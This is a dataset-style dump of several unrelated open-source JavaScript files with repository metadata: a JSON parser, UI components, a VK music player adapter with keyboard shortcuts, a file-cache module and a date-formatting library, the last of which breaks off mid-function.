        if (scanner.getToken() !== 2 /* CloseBraceToken */) {
            return _error(localize('ExpectedCloseBrace', 'Expected comma or closing brace'), ErrorCode.CommaOrCloseBraceExpected, node);
        }
        return _finalize(node, true);
    }
    function _parseString(parent) {
        if (scanner.getToken() !== 10 /* StringLiteral */) {
            return null;
        }
        var node = new StringASTNodeImpl(parent, scanner.getTokenOffset());
        node.value = scanner.getTokenValue();
        return _finalize(node, true);
    }
    function _parseNumber(parent) {
        if (scanner.getToken() !== 11 /* NumericLiteral */) {
            return null;
        }
        var node = new NumberASTNodeImpl(parent, scanner.getTokenOffset());
        if (scanner.getTokenError() === 0 /* None */) {
            var tokenValue = scanner.getTokenValue();
            try {
                var numberValue = JSON.parse(tokenValue);
                if (!isNumber(numberValue)) {
                    return _error(localize('InvalidNumberFormat', 'Invalid number format.'), ErrorCode.Undefined, node);
                }
                node.value = numberValue;
            }
            catch (e) {
                return _error(localize('InvalidNumberFormat', 'Invalid number format.'), ErrorCode.Undefined, node);
            }
            node.isInteger = tokenValue.indexOf('.') === -1;
        }
        return _finalize(node, true);
    }
    function _parseLiteral(parent) {
        var node;
        switch (scanner.getToken()) {
            case 7 /* NullKeyword */:
                return _finalize(new NullASTNodeImpl(parent, scanner.getTokenOffset()), true);
            case 8 /* TrueKeyword */:
                return _finalize(new BooleanASTNodeImpl(parent, true, scanner.getTokenOffset()), true);
            case 9 /* FalseKeyword */:
                return _finalize(new BooleanASTNodeImpl(parent, false, scanner.getTokenOffset()), true);
            default:
                return null;
        }
    }
    function _parseValue(parent, name) {
        return _parseArray(parent) || _parseObject(parent) || _parseString(parent) || _parseNumber(parent) || _parseLiteral(parent);
    }
    var _root = null;
    var token = _scanNext();
    if (token !== 17 /* EOF */) {
        _root = _parseValue(null, null);
        if (!_root) {
            _error(localize('Invalid symbol', 'Expected a JSON object, array or literal.'), ErrorCode.Undefined);
        }
        else if (scanner.getToken() !== 17 /* EOF */) {
            _error(localize('End of file expected', 'End of file expected.'), ErrorCode.Undefined);
        }
    }
    return new JSONDocument(_root, problems, commentRanges);
}
 | 
	karan/dotfiles | 
	.vscode/extensions/redhat.vscode-yaml-0.7.2/node_modules/yaml-language-server/out/server/node_modules/vscode-json-languageservice/lib/esm/parser/jsonParser.js | 
	JavaScript | 
	mit | 57,377 | 
| 
	import createSvgIcon from './utils/createSvgIcon';
import { jsx as _jsx } from "react/jsx-runtime";
export default createSvgIcon( /*#__PURE__*/_jsx("path", {
  d: "M4.41 22H21c.55 0 1-.45 1-1V4.41c0-.89-1.08-1.34-1.71-.71L3.71 20.29c-.63.63-.19 1.71.7 1.71zM20 20h-3V9.83l3-3V20z"
}), 'NetworkCellRounded'); | 
	oliviertassinari/material-ui | 
	packages/mui-icons-material/lib/esm/NetworkCellRounded.js | 
	JavaScript | 
	mit | 307 | 
| 
	
/**
 * @class angular
 * @method routes
 */
var routes = module.exports = function() {
};
/* EOF */ | 
	dianavermilya/todo-app | 
	node_modules/angular/lib/node-angular/routes.js | 
	JavaScript | 
	mit | 103 | 
| 
	window.abi = require("ethereumjs-abi");
 | 
	15chrjef/ico-wizard | 
	assets/javascripts/application/main.js | 
	JavaScript | 
	mit | 40 | 
| 
	System.register(['aurelia-framework', 'interact', './interact-base'], function(exports_1, context_1) {
    "use strict";
    var __moduleName = context_1 && context_1.id;
    var __extends = (this && this.__extends) || function (d, b) {
        for (var p in b) if (b.hasOwnProperty(p)) d[p] = b[p];
        function __() { this.constructor = d; }
        d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());
    };
    var __decorate = (this && this.__decorate) || function (decorators, target, key, desc) {
        var c = arguments.length, r = c < 3 ? target : desc === null ? desc = Object.getOwnPropertyDescriptor(target, key) : desc, d;
        if (typeof Reflect === "object" && typeof Reflect.decorate === "function") r = Reflect.decorate(decorators, target, key, desc);
        else for (var i = decorators.length - 1; i >= 0; i--) if (d = decorators[i]) r = (c < 3 ? d(r) : c > 3 ? d(target, key, r) : d(target, key)) || r;
        return c > 3 && r && Object.defineProperty(target, key, r), r;
    };
    var __metadata = (this && this.__metadata) || function (k, v) {
        if (typeof Reflect === "object" && typeof Reflect.metadata === "function") return Reflect.metadata(k, v);
    };
    var aurelia_framework_1, Interact, interact_base_1;
    var InteractDraggableCustomAttribute;
    return {
        setters:[
            function (aurelia_framework_1_1) {
                aurelia_framework_1 = aurelia_framework_1_1;
            },
            function (Interact_1) {
                Interact = Interact_1;
            },
            function (interact_base_1_1) {
                interact_base_1 = interact_base_1_1;
            }],
        execute: function() {
            InteractDraggableCustomAttribute = (function (_super) {
                __extends(InteractDraggableCustomAttribute, _super);
                function InteractDraggableCustomAttribute() {
                    _super.apply(this, arguments);
                }
                InteractDraggableCustomAttribute.prototype.bind = function () {
                    var _this = this;
                    this.unsetInteractJs();
                    this.interactable = this.interact(this.element, this.getInteractableOptions())
                        .draggable(this.getActionOptions())
                        .on('dragstart', function (event) { return _this.dispatch('interact-dragstart', event); })
                        .on('dragmove', function (event) { return _this.dispatch('interact-dragmove', event); })
                        .on('draginertiastart', function (event) { return _this.dispatch('interact-draginertiastart', event); })
                        .on('dragend', function (event) { return _this.dispatch('interact-dragend', event); });
                };
                InteractDraggableCustomAttribute = __decorate([
                    aurelia_framework_1.inject(Element, Interact), 
                    __metadata('design:paramtypes', [])
                ], InteractDraggableCustomAttribute);
                return InteractDraggableCustomAttribute;
            }(interact_base_1.default));
            exports_1("InteractDraggableCustomAttribute", InteractDraggableCustomAttribute);
        }
    }
});
//# sourceMappingURL=interact-draggable.js.map
 | 
	jfstephe/aurelia-interactjs | 
	dist/system/interact-draggable.js | 
	JavaScript | 
	mit | 3,296 | 
| 
	/**
 * Created by Serhei on 17.02.15.
 * Адаптер между вью HeaderView и модулем Player
 */
define([
        "marionette", "backbone", "jquery", "underscore", "./Player", "./VK", "./Lastfm", "app"
    ],
    function (Marionette, Backbone, $, _, Player, VK, Lastfm, App) {
        var UNKNOWN_ALBUM = '../img/default-album-artwork.png';
        var appChannel = Backbone.Wreqr.radio.channel('app');
        var playlistChannel = Backbone.Wreqr.radio.channel('playlist');
        var playerChannel = Backbone.Wreqr.radio.channel('player');
        playlistChannel.vent.on('update:list', function () {
            if (PlayerAdapter.currentModel) {
                tellCurrentModel(PlayerAdapter.currentModel);
            }
        });
        var PlayerAdapter = {
            currentModel: null,
            urlsCache: {},
            shuffle: false,
            init: function (opt) {
                var self = this;
                playlistChannel.vent.on('play:song', function (data) {
                    self.onPlayEvent(data.obj, data.fromUI);
                });
                playlistChannel.vent.on('play:next', function () {
                    self.onNextEvent();
                });
                playlistChannel.vent.on('play:prev', function () {
                    self.onPrevEvent();
                });
                playlistChannel.vent.on('stop', function () {
                    self.onStopEvent();
                });
                playlistChannel.vent.on('pause', function () {
                    self.onPauseEvent();
                });
                playlistChannel.vent.on('add:song', function () {
                    self.onAddSongEvent();
                });
                playlistChannel.vent.on('volume:change', function (vol) {
                    Player.onChangeVolumeEvent(vol);
                    App.UI.attributes.volume = vol.toFixed(2);
                });
                playerChannel.vent.on('shuffle:toggle', function () {
                    self.shuffle = !self.shuffle;
                    playerChannel.vent.trigger('set:shuffle', self.shuffle);
                    App.UI.attributes.shuffle = self.shuffle;
                });
                playerChannel.vent.on('command:play-pause', self.keyboardActions.togglePlay.func);
                playerChannel.vent.on('command:stop', self.keyboardActions.stop.func);
                playerChannel.vent.on('command:prev', self.keyboardActions.prev.func);
                playerChannel.vent.on('command:next', self.keyboardActions.next.func);
                self.bindButtons();
                if (App.UI.get('shuffle')) {
                    playerChannel.vent.trigger('shuffle:toggle');
                }
                Player.init();
                Player.currentVolume = opt.volume;
            },
            setBuffer: function (percent) {
                playerChannel.vent.trigger('set:buffer', percent);
            },
            onError: function (e) {
                console.error(e);
                //TODO
            },
            getCallbacks: function () {
                var self = this;
                return {
                    progress: {
                        onFinish: function (val, percent) {
                            Player.setProgress(val);
                            console.warn('onFinish', val, percent, this, self);
                        }
                    },
                    volume: {
                        onChange: function (val, percent) {
                            console.log('onSlide', val);
                            Player.setVolume(percent.toFixed(2));
                            App.UI.attributes.volume = percent.toFixed(2);
                        }
                    }
                }
            },
            setCurrentSource: function (obj) {
                console.log(obj);
                if (obj && obj.source) {
                    App.isCurrentSongInPlaylist = obj.source == 'playlist';
                }
            },
            onPlayEvent: function (obj, fromInterface) {
                console.log(obj, fromInterface, this, Player);
                this.setCurrentSource(obj, fromInterface);
                var self = this;
                var id = null;
                if (obj && obj.id) {
                    id = obj.id;
                    if (obj.model) {
                        Player.currentCollection = obj.model.collection;
                    } else if (App.currentPlaylist && App.currentPlaylist.get('collection')) {
                        Player.currentCollection = App.currentPlaylist.get('collection');
                    }
                } else if (Player.currentModel && Player.currentModel.id) {
                    id = Player.currentModel.id
                } else if (Player.currentCollection.length) {
                    id = Player.currentCollection.at(0).get('id');
                } else if (App.currentPlaylist && App.currentPlaylist.get('collection')) {
                    Player.currentCollection = App.currentPlaylist.get('collection');
                    var firstSong = Player.currentCollection.at(0);
                    if (firstSong) {
                        id = firstSong.get('id');
                    } else {
                        console.warn('NO PLAYLISTS');
                        return;
                    }
                } else {
                    console.warn('NO PLAYLISTS');
                    return;
                }
                Player.currentModel = Player.currentCollection.findWhere({id: id});
                self.currentModel = Player.currentModel;
                //console.log('fromInterface', fromInterface, Player , this);
                if (self.urlsCache[id]) {
                    Player.play(self.urlsCache[id]);
                    tellCurrentModel(Player.currentModel);
                    playerChannel.vent.trigger('set:title', {
                        title: self.urlsCache[id].model.title,
                        artist: self.urlsCache[id].model.artist
                    });
                    playerChannel.vent.trigger('set:albumart', {
                        id: id,
                        url: self.urlsCache[id].model.img
                    });
                } else if (!fromInterface || !Player.currentPlayObj) {
                    VK.audio
                        .getById(id)
                        .then(function (audio) {
                            if (audio && audio.length) {
                                var song = audio[0];
                                var url = song.url;
                                var obj = {
                                    url: url,
                                    model: song,
                                    id: id,
                                    date: Date.now()
                                };
                                Player.play(obj);
                                self.urlsCache[id] = obj;
                                playerChannel.vent.trigger('set:title', {
                                    artist: self.urlsCache[id].model.artist,
                                    title: self.urlsCache[id].model.title
                                });
                                /*get image*/
                                self.loadImage(id);
                            }
                        })
                        .finally(function () {
                            tellCurrentModel(Player.currentModel);
                        });
                }
            },
            loadImage: function (id) {
                var self = this;
                function loadByName() {
                    Lastfm.artist
                        .getImage({
                            artist: self.urlsCache[id].model.artist
                        })
                        .then(function (url) {
                            self.urlsCache[id].model.img = self._normalizeAlbumArtUrl(url);
                            playerChannel.vent.trigger('set:albumart', {
                                id: id,
                                url: self.urlsCache[id].model.img
                            });
                        })
                        .error(function (e) {
                            throw e;
                        });
                }
                Lastfm.track
                    .getImage({
                        artist: self.urlsCache[id].model.artist,
                        track: self.urlsCache[id].model.title
                    })
                    .then(function (url) {
                        if (_.isObject(url) && url.artist) {
                            loadByName();
                        } else {
                            self.urlsCache[id].model.img = self._normalizeAlbumArtUrl(url);
                            playerChannel.vent.trigger('set:albumart', {
                                id: id,
                                url: self.urlsCache[id].model.img
                            });
                        }
                    })
                    .error(function (error) {
                        if (error.message == "Track not found") {
                            loadByName();
                        } else {
                            throw new Error(error);
                        }
                    })
                    .catch(function (error) {
                        self.urlsCache[id].model.img = self._normalizeAlbumArtUrl('');
                        playerChannel.vent.trigger('set:albumart', {
                            id: id,
                            url: self.urlsCache[id].model.img
                        });
                    });
            },
            _normalizeAlbumArtUrl: function (url) {
                if (url == '' || url.indexOf('noimage') > -1) {
                    return UNKNOWN_ALBUM;
                } else {
                    return url;
                }
            },
            onStopEvent: function () {
                Player.stop();
            },
            onPauseEvent: function () {
                Player.pause();
            },
            onNextEvent: function () {
                if (!Player.currentCollection || !Player.currentModel) {
                    this.onPlayEvent();
                } else {
                    //findWhere а не get, того что есть id вида "-270708_85642422" - значит песня принадлежит группе
                    var modelCurrent = Player.currentCollection.findWhere({id: Player.currentModelId});
                    if (modelCurrent) {
                        var model = modelCurrent.getNextSong(this.shuffle);
                        this.onPlayEvent({
                            id: model.get('id'),
                            model: model
                        });
                    } else {
                        this.onPlayEvent();
                    }
                }
            },
            onPrevEvent: function () {
                if (!Player.currentCollection || !Player.currentModel) {
                    this.onPlayEvent();
                } else {
                    var modelCurrent = Player.currentCollection.findWhere({id: Player.currentModelId});
                    if (modelCurrent) {
                        var model = modelCurrent.getPrevSong(this.shuffle);
                        this.onPlayEvent({
                            id: model.get('id'),
                            model: model
                        });
                    } else {
                        this.onPlayEvent();
                    }
                }
            },
            onAddSongEvent : function(){
                if(!App.isCurrentSongInPlaylist && this.currentModel){
                    playlistChannel.vent.trigger('add:song-model', this.currentModel);
                }
            },
            bindButtons: function () {
                var self = this;
                function GetDescriptionFor(e) {
                    var special = {
                        32: "space",
                        37: "left",
                        38: "up",
                        39: "right",
                        40: "down"
                    };
                    var keyIdentifiers = ["MediaNextTrack", "MediaPlayPause", "MediaStop", "MediaPrevTrack"];
                    var result = [], code, kCode;
                    //debugger
                    if (e.keyIdentifier && keyIdentifiers.indexOf(e.keyIdentifier) >= 0) {
                        kCode = e.keyIdentifier;
                    } else if ((e.charCode) && (e.keyCode == 0)) {
                        kCode = e.charCode;
                        code = e.charCode;
                    } else {
                        kCode = e.keyCode;
                        code = e.keyCode;
                    }
                    if (special[kCode]) {
                        kCode = special[kCode];
                        result.push(kCode);
                    }
                    if (keyIdentifiers.indexOf(kCode) >= 0) {
                        result.push(kCode);
                    }
                    if (code == 8) result.push("bksp")
                    else if (code == 9) result.push("tab")
                    else if (code == 46) result.push("del")
                    else if ((code >= 41) && (code <= 126)) result.push(String.fromCharCode(code).toLocaleLowerCase());
                    if (e.altKey) result.unshift("alt");
                    if (e.ctrlKey) result.unshift("ctrl");
                    if (e.shiftKey) result.unshift("shift");
                    return result;
                }
                function handler(e) {
                    if (e.srcElement && e.srcElement.contentEditable == 'true') {
                        return;
                    }
                    if (e.srcElement && e.srcElement.tagName.toLowerCase() == 'input') {
                        return;
                    }
                    console.log(e);
                    if (!e) e = window.event;
                    var descr = GetDescriptionFor(e);
                    var combination = descr.join('+');
                    _.each(self.keyboardActions, function (action, actionName) {
                        if (action.keys.indexOf(combination) >= 0) {
                            action.func();
                        }
                    });
                    return false;
                }
                document.addEventListener('keydown', handler, false);
            },
            keyboardActions: {
                togglePlay: {
                    keys: ['space', 'p', 'c', 'з', 'с', 'MediaPlayPause'],
                    func: function () {
                        if (Player.isPlying) {
                            playlistChannel.vent.trigger('pause');
                        } else {
                            playlistChannel.vent.trigger('play:song', {
                                obj: null,
                                fromUI: true
                            });
                        }
                    }
                },
                next: {
                    keys: ['right', 'b', '6', 'и', 'MediaNextTrack'],
                    func: function () {
                        playlistChannel.vent.trigger('play:next');
                    }
                },
                prev: {
                    keys: ['left', 'z', '4', 'я', 'MediaPrevTrack'],
                    func: function () {
                        playlistChannel.vent.trigger('play:prev');
                    }
                },
                stop: {
                    keys: ['v', 'м', 'MediaStop'],
                    func: function () {
                        playlistChannel.vent.trigger('stop');
                    }
                },
                volumeUp: {
                    keys: ['up', '8'],
                    func: function () {
                        var vol = Player.currentVolume + 0.05;
                        playlistChannel.vent.trigger('volume:change', vol);
                        playerChannel.vent.trigger('set:volume', vol);
                    }
                },
                volumeDown: {
                    keys: ['down', '2'],
                    func: function () {
                        var vol = Player.currentVolume - 0.05;
                        playlistChannel.vent.trigger('volume:change', vol);
                        playerChannel.vent.trigger('set:volume', vol);
                    }
                },
                toggleShuffle: {
                    keys: ['s', 'ы', 'і'],
                    func: function () {
                        playerChannel.vent.trigger('shuffle:toggle');
                    }
                },
                addToPlaylist: {
                    keys: ['a', 'ф'],
                    func: function () {
                        playlistChannel.vent.trigger('add:song');
                    }
                }
            }
        };
        function tellCurrentModel(currentModel) {
            if(currentModel && currentModel.id){
                playlistChannel.vent.trigger('current', currentModel.id);
            }
        }
        return PlayerAdapter;
    }); | 
	Stryzhevskyi/vk-player | 
	src/js/modules/PlayerAdapter.js | 
	JavaScript | 
	mit | 17,397 | 
| 
	var fs = require('fs');
function readCache(bank, url) {
  fs.readFile(url, 'utf8', function (err, data) {
    if (!err) {
      bank.dispatch(JSON.parse(data));
    }
  });
}
function writeCache(url, data) {
  fs.writeFile(url, JSON.stringify(data), function (err) {
    if (err) return console.log(err);
  });
}
module.exports = function(bank, url) {
  readCache(bank, url);
  bank.subscribe(function(d, o, t) {
    var sum = [];
    for (var row in bank._store) {
      sum.push({
        type: row,
        data: bank._store[row].data,
        options: bank._store[row].options
      });
    }
    writeCache(url, sum);
  });
}; | 
	krambuhl/ganglion | 
	licklider/bank/bank.cache.js | 
	JavaScript | 
	mit | 636 | 
| 
	version https://git-lfs.github.com/spec/v1
oid sha256:1eb76caa2619ae14fc6e83b2bc11a3d5af53859002ec58d29ff4f159b115b8c7
size 8342
 | 
	yogeshsaroya/new-cdnjs | 
	ajax/libs/piwik/0.4.3/piwik.js | 
	JavaScript | 
	mit | 129 | 
| 
	/*!
 * @copyright Copyright © Kartik Visweswaran, Krajee.com, 2014 - 2015
 * @version 1.3.3
 *
 * Date formatter utility library that allows formatting date/time variables or Date objects using PHP DateTime format.
 * @see http://php.net/manual/en/function.date.php
 *
 * For more JQuery plugins visit http://plugins.krajee.com
 * For more Yii related demos visit http://demos.krajee.com
 */
var DateFormatter;
(function () {
    "use strict";
    var _compare, _lpad, _extend, defaultSettings, DAY, HOUR;
    DAY = 1000 * 60 * 60 * 24;
    HOUR = 3600;
    _compare = function (str1, str2) {
        return typeof(str1) === 'string' && typeof(str2) === 'string' && str1.toLowerCase() === str2.toLowerCase();
    };
    _lpad = function (value, length, char) {
        var chr = char || '0', val = value.toString();
        return val.length < length ? _lpad(chr + val, length) : val;
    };
    _extend = function (out) {
        var i, obj;
        out = out || {};
        for (i = 1; i < arguments.length; i++) {
            obj = arguments[i];
            if (!obj) {
                continue;
            }
            for (var key in obj) {
                if (obj.hasOwnProperty(key)) {
                    if (typeof obj[key] === 'object') {
                        _extend(out[key], obj[key]);
                    } else {
                        out[key] = obj[key];
                    }
                }
            }
        }
        return out;
    };
    defaultSettings = {
        dateSettings: {
            days: ['Sunday', 'Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday'],
            daysShort: ['Sun', 'Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat'],
            months: [
                'January', 'February', 'March', 'April', 'May', 'June', 'July',
                'August', 'September', 'October', 'November', 'December'
            ],
            monthsShort: ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec'],
            meridiem: ['AM', 'PM'],
            ordinal: function (number) {
                var n = number % 10, suffixes = {1: 'st', 2: 'nd', 3: 'rd'};
                return Math.floor(number % 100 / 10) === 1 || !suffixes[n] ? 'th' : suffixes[n];
            }
        },
        separators: /[ \-+\/\.T:@]/g,
        validParts: /[dDjlNSwzWFmMntLoYyaABgGhHisueTIOPZcrU]/g,
        intParts: /[djwNzmnyYhHgGis]/g,
        tzParts: /\b(?:[PMCEA][SDP]T|(?:Pacific|Mountain|Central|Eastern|Atlantic) (?:Standard|Daylight|Prevailing) Time|(?:GMT|UTC)(?:[-+]\d{4})?)\b/g,
        tzClip: /[^-+\dA-Z]/g
    };
    DateFormatter = function (options) {
        var self = this, config = _extend(defaultSettings, options);
        self.dateSettings = config.dateSettings;
        self.separators = config.separators;
        self.validParts = config.validParts;
        self.intParts = config.intParts;
        self.tzParts = config.tzParts;
        self.tzClip = config.tzClip;
    };
    DateFormatter.prototype = {
        constructor: DateFormatter,
        parseDate: function (vDate, vFormat) {
            var self = this, vFormatParts, vDateParts, i, vDateFlag = false, vTimeFlag = false, vDatePart, iDatePart,
                vSettings = self.dateSettings, vMonth, vMeriIndex, vMeriOffset, len, mer,
                out = {date: null, year: null, month: null, day: null, hour: 0, min: 0, sec: 0};
            if (!vDate) {
                return undefined;
            }
            if (vDate instanceof Date) {
                return vDate;
            }
            if (typeof vDate === 'number') {
                return new Date(vDate);
            }
            if (vFormat === 'U') {
                i = parseInt(vDate);
                return i ? new Date(i * 1000) : vDate;
            }
            if (typeof vDate !== 'string') {
                return '';
            }
            vFormatParts = vFormat.match(self.validParts);
            if (!vFormatParts || vFormatParts.length === 0) {
                throw new Error("Invalid date format definition.");
            }
            vDateParts = vDate.replace(self.separators, '\0').split('\0');
            for (i = 0; i < vDateParts.length; i++) {
                vDatePart = vDateParts[i];
                iDatePart = parseInt(vDatePart);
                switch (vFormatParts[i]) {
                    case 'y':
                    case 'Y':
                        len = vDatePart.length;
                        if (len === 2) {
                            out.year = parseInt((iDatePart < 70 ? '20' : '19') + vDatePart);
                        } else if (len === 4) {
                            out.year = iDatePart;
                        }
                        vDateFlag = true;
                        break;
                    case 'm':
                    case 'n':
                    case 'M':
                    case 'F':
                        if (isNaN(vDatePart)) {
                            vMonth = vSettings.monthsShort.indexOf(vDatePart);
                            if (vMonth > -1) {
                                out.month = vMonth + 1;
                            }
                            vMonth = vSettings.months.indexOf(vDatePart);
                            if (vMonth > -1) {
                                out.month = vMonth + 1;
                            }
                        } else {
                            if (iDatePart >= 1 && iDatePart <= 12) {
                                out.month = iDatePart;
                            }
                        }
                        vDateFlag = true;
                        break;
                    case 'd':
                    case 'j':
                        if (iDatePart >= 1 && iDatePart <= 31) {
                            out.day = iDatePart;
                        }
                        vDateFlag = true;
                        break;
                    case 'g':
                    case 'h':
                        vMeriIndex = (vFormatParts.indexOf('a') > -1) ? vFormatParts.indexOf('a') :
                            (vFormatParts.indexOf('A') > -1) ? vFormatParts.indexOf('A') : -1;
                        mer = vDateParts[vMeriIndex];
                        if (vMeriIndex > -1) {
                            vMeriOffset = _compare(mer, vSettings.meridiem[0]) ? 0 :
                                (_compare(mer, vSettings.meridiem[1]) ? 12 : -1);
                            if (iDatePart >= 1 && iDatePart <= 12 && vMeriOffset > -1) {
                                out.hour = iDatePart + vMeriOffset;
                            } else if (iDatePart >= 0 && iDatePart <= 23) {
                                out.hour = iDatePart;
                            }
                        } else if (iDatePart >= 0 && iDatePart <= 23) {
                            out.hour = iDatePart;
                        }
                        vTimeFlag = true;
                        break;
                    case 'G':
                    case 'H':
                        if (iDatePart >= 0 && iDatePart <= 23) {
                            out.hour = iDatePart;
                        }
                        vTimeFlag = true;
                        break;
                    case 'i':
                        if (iDatePart >= 0 && iDatePart <= 59) {
                            out.min = iDatePart;
                        }
                        vTimeFlag = true;
                        break;
                    case 's':
                        if (iDatePart >= 0 && iDatePart <= 59) {
                            out.sec = iDatePart;
                        }
                        vTimeFlag = true;
                        break;
                }
            }
            if (vDateFlag === true && out.year && out.month && out.day) {
                out.date = new Date(out.year, out.month - 1, out.day, out.hour, out.min, out.sec, 0);
            } else {
                if (vTimeFlag !== true) {
                    return false;
                }
                out.date = new Date(0, 0, 0, out.hour, out.min, out.sec, 0);
            }
            return out.date;
        },
        guessDate: function (vDateStr, vFormat) {
            if (typeof vDateStr !== 'string') {
                return vDateStr;
            }
            var self = this, vParts = vDateStr.replace(self.separators, '\0').split('\0'), vPattern = /^[djmn]/g,
                vFormatParts = vFormat.match(self.validParts), vDate = new Date(), vDigit = 0, vYear, i, iPart, iSec;
            if (!vPattern.test(vFormatParts[0])) {
                return vDateStr;
            }
            for (i = 0; i < vParts.length; i++) {
                vDigit = 2;
                iPart = vParts[i];
                iSec = parseInt(iPart.substr(0, 2));
                switch (i) {
                    case 0:
                        if (vFormatParts[0] === 'm' || vFormatParts[0] === 'n') {
                            vDate.setMonth(iSec - 1);
                        } else {
                            vDate.setDate(iSec);
                        }
                        break;
                    case 1:
                        if (vFormatParts[0] === 'm' || vFormatParts[0] === 'n') {
                            vDate.setDate(iSec);
                        } else {
                            vDate.setMonth(iSec - 1);
                        }
                        break;
                    case 2:
                        vYear = vDate.getFullYear();
                        if (iPart.length < 4) {
                            vDate.setFullYear(parseInt(vYear.toString().substr(0, 4 - iPart.length) + iPart));
                            vDigit = iPart.length;
                        } else {
                            vDate.setFullYear = parseInt(iPart.substr(0, 4));
                            vDigit = 4;
                        }
                        break;
                    case 3:
                        vDate.setHours(iSec);
                        break;
                    case 4:
                        vDate.setMinutes(iSec);
                        break;
                    case 5:
                        vDate.setSeconds(iSec);
                        break;
                }
                if (iPart.substr(vDigit).length > 0) {
                    vParts.splice(i + 1, 0, iPart.substr(vDigit));
                }
            }
            return vDate;
        },
        parseFormat: function (vChar, vDate) {
            var self = this, vSettings = self.dateSettings, fmt, backspace = /\\?(.?)/gi, doFormat = function (t, s) {
                return fmt[t] ? fmt[t]() : s;
            };
            fmt = {
                /////////
                // DAY //
                /////////
                /**
                 * Day of month with leading 0: `01..31`
                 * @return {string}
                 */
                d: function () {
                    return _lpad(fmt.j(), 2);
                },
                /**
                 * Shorthand day name: `Mon...Sun`
                 * @return {string}
                 */
                D: function () {
                    return vSettings.daysShort[fmt.w()];
                },
                /**
                 * Day of month: `1..31`
                 * @return {number}
                 */
                j: function () {
                    return vDate.getDate();
                },
                /**
                 * Full day name: `Monday...Sunday`
                 * @return {number}
                 */
                l: function () {
                    return vSettings.days[fmt.w()];
                },
                /**
                 * ISO-8601 day of week: `1[Mon]..7[Sun]`
                 * @return {number}
                 */
                N: function () {
                    return fmt.w() || 7;
                },
                /**
                 * Day of week: `0[Sun]..6[Sat]`
                 * @return {number}
                 */
                w: function () {
                    return vDate.getDay();
                },
                /**
                 * Day of year: `0..365`
                 * @return {number}
                 */
                z: function () {
                    var a = new Date(fmt.Y(), fmt.n() - 1, fmt.j()), b = new Date(fmt.Y(), 0, 1);
                    return Math.round((a - b) / DAY);
                },
                //////////
                // WEEK //
                //////////
                /**
                 * ISO-8601 week number
                 * @return {number}
                 */
                W: function () {
                    var a = new Date(fmt.Y(), fmt.n() - 1, fmt.j() - fmt.N() + 3), b = new Date(a.getFullYear(), 0, 4);
                    return _lpad(1 + Math.round((a - b) / DAY / 7), 2);
                },
                ///////////
                // MONTH //
                ///////////
                /**
                 * Full month name: `January...December`
                 * @return {string}
                 */
                F: function () {
                    return vSettings.months[vDate.getMonth()];
                },
                /**
                 * Month w/leading 0: `01..12`
                 * @return {string}
                 */
                m: function () {
                    return _lpad(fmt.n(), 2);
                },
                /**
                 * Shorthand month name; `Jan...Dec`
                 * @return {string}
                 */
                M: function () {
                    return vSettings.monthsShort[vDate.getMonth()];
                },
                /**
                 * Month: `1...12`
                 * @return {number}
                 */
                n: function () {
                    return vDate.getMonth() + 1;
                },
                /**
                 * Days in month: `28...31`
                 * @return {number}
                 */
                t: function () {
                    return (new Date(fmt.Y(), fmt.n(), 0)).getDate();
                },
                //////////
                // YEAR //
                //////////
                /**
                 * Is leap year? `0 or 1`
                 * @return {number}
                 */
                L: function () {
                    var Y = fmt.Y();
                    return (Y % 4 === 0 && Y % 100 !== 0 || Y % 400 === 0) ? 1 : 0;
                },
                /**
                 * ISO-8601 year
                 * @return {number}
                 */
                o: function () {
                    var n = fmt.n(), W = fmt.W(), Y = fmt.Y();
                    return Y + (n === 12 && W < 9 ? 1 : n === 1 && W > 9 ? -1 : 0);
                },
                /**
                 * Full year: `e.g. 1980...2010`
                 * @return {number}
                 */
                Y: function () {
                    return vDate.getFullYear();
                },
                /**
                 * Last two digits of year: `00...99`
                 * @return {string}
                 */
                y: function () {
                    return fmt.Y().toString().slice(-2);
                },
                //////////
                // TIME //
                //////////
                /**
                 * Meridian lower: `am or pm`
                 * @return {string}
                 */
                a: function () {
                    return fmt.A().toLowerCase();
                },
                /**
                 * Meridian upper: `AM or PM`
                 * @return {string}
                 */
                A: function () {
                    var n = fmt.G() < 12 ? 0 : 1;
                    return vSettings.meridiem[n];
                },
                /**
                 * Swatch Internet time: `000..999`
                 * @return {string}
                 */
                B: function () {
                    var H = vDate.getUTCHours() * HOUR, i = vDate.getUTCMinutes() * 60, s = vDate.getUTCSeconds();
                    return _lpad(Math.floor((H + i + s + HOUR) / 86.4) % 1000, 3);
                },
                /**
                 * 12-Hours: `1..12`
                 * @return {number}
                 */
                g: function () {
                    return fmt.G() % 12 || 12;
                },
                /**
                 * 24-Hours: `0..23`
                 * @return {number}
                 */
                G: function () {
                    return vDate.getHours();
                },
                /**
                 * 12-Hours with leading 0: `01..12`
                 * @return {string}
                 */
                h: function () {
                    return _lpad(fmt.g(), 2);
                },
                /**
                 * 24-Hours w/leading 0: `00..23`
                 * @return {string}
                 */
                H: function () {
                    return _lpad(fmt.G(), 2);
                },
                /**
                 * Minutes w/leading 0: `00..59`
                 * @return {string}
                 */
                i: function () {
                    return _lpad(vDate.getMinutes(), 2);
                },
                /**
                 * Seconds w/leading 0: `00..59`
                 * @return {string}
                 */
                s: function () {
                    return _lpad(vDate.getSeconds(), 2);
                },
                /**
                 * Microseconds: `000000-999000`
                 * @return {string}
                 */
                u: function () {
                    return _lpad(vDate.getMilliseconds() * 1000, 6);
                },
                //////////////
                // TIMEZONE //
                //////////////
                /**
                 * Timezone identifier: `e.g. Atlantic/Azores, ...`
                 * @return {string}
                 */
                e: function () {
                    var str = /\((.*)\)/.exec(String(vDate))[1];
                    return str || 'Coordinated Universal Time';
                },
                /**
                 * Timezone abbreviation: `e.g. EST, MDT, ...`
                 * @return {string}
                 */
                T: function () {
                    var str = (String(vDate).match(self.tzParts) || [""]).pop().replace(self.tzClip, "");
                    return str || 'UTC';
                },
                /**
                 * DST observed? `0 or 1`
                 * @return {number}
                 */
                I: function () {
                    var a = new Date(fmt.Y(), 0), c = Date.UTC(fmt.Y(), 0),
                        b = new Date(fmt.Y(), 6), d = Date.UTC(fmt.Y(), 6);
                    return ((a - c) !== (b - d)) ? 1 : 0;
                },
                /**
                 * Difference to GMT in hour format: `e.g. +0200`
                 * @return {string}
                 */
                O: function () {
